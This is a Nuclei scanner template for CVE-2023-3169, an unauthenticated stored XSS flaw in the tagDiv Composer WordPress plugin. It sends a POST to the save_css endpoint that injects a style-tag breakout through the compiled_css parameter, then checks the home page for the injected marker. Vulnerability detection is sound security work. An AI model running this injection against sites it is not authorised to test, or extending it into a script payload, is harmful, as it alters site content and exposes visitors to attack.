id: CVE-2023-3169 info: name: tagDiv Composer < 4.2 - Stored Cross-Site Scripting author: ritikchaddha severity: high description: | tagDiv Composer plugin versions before 4.2 for WordPress are vulnerable to unauthenticated stored XSS via the /wp-json/tdw/save_css endpoint. An attacker can inject malicious JavaScript code through the compiled_css parameter, which gets stored and executed when the CSS is loaded. impact: | Unauthenticated attackers can inject malicious JavaScript through the compiled_css parameter which gets stored and executed when the CSS is loaded, potentially compromising all visitors to the WordPress site. remediation: | Update tagDiv Composer plugin to version 4.2 or later that properly validates and sanitizes CSS input from the save_css endpoint and requires authentication. reference: - https://wpscan.com/vulnerability/e6d8216d-ace4-48ba-afca-74da0dc5abb5 - https://nvd.nist.gov/vuln/detail/CVE-2023-3169 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-3169 epss-score: 0.39257 epss-percentile: 0.97363 cwe-id: CWE-79 cpe: cpe:2.3:a:tagdiv:tagdiv_composer:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: tagdiv product: tagdiv_composer fofa-query: body="/wp-content/plugins/td-composer" tags: cve,cve2023,wordpress,wp-plugin,wp,xss,td-composer,tagdiv,intrusive,vkev,vuln variables: string: "{{rand_text_numeric(13)}}" flow: http(1) && http(2) http: - raw: - | POST /wp-json/tdw/save_css HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded compiled_css=%3C%2Fstyle%3E%3Cstyle%3E matchers-condition: and matchers: - type: dsl dsl: - 'len(body) == 0' - 'status_code == 200' - 'contains(content_type, "application/json")' internal: true - raw: - | GET / HTTP/1.1 Host: {{Hostname}} redirects: true max-redirects: 2 matchers-condition: and matchers: - type: word part: body words: - 'tdw-css-placeholder">' - type: word part: content_type words: - 'text/html' - type: status status: - 200 # digest: 4a0a004730450220126995691074078b0325cf89959bfc44ae1b2a4f48b2c29915512ea82f55c73d0221009cdc5358b7dddaa1bf463bdd9a60f3b0f8df5fb4c21139b272f57256bd35cfd1:922c64590222798bb761d5b6d8e72950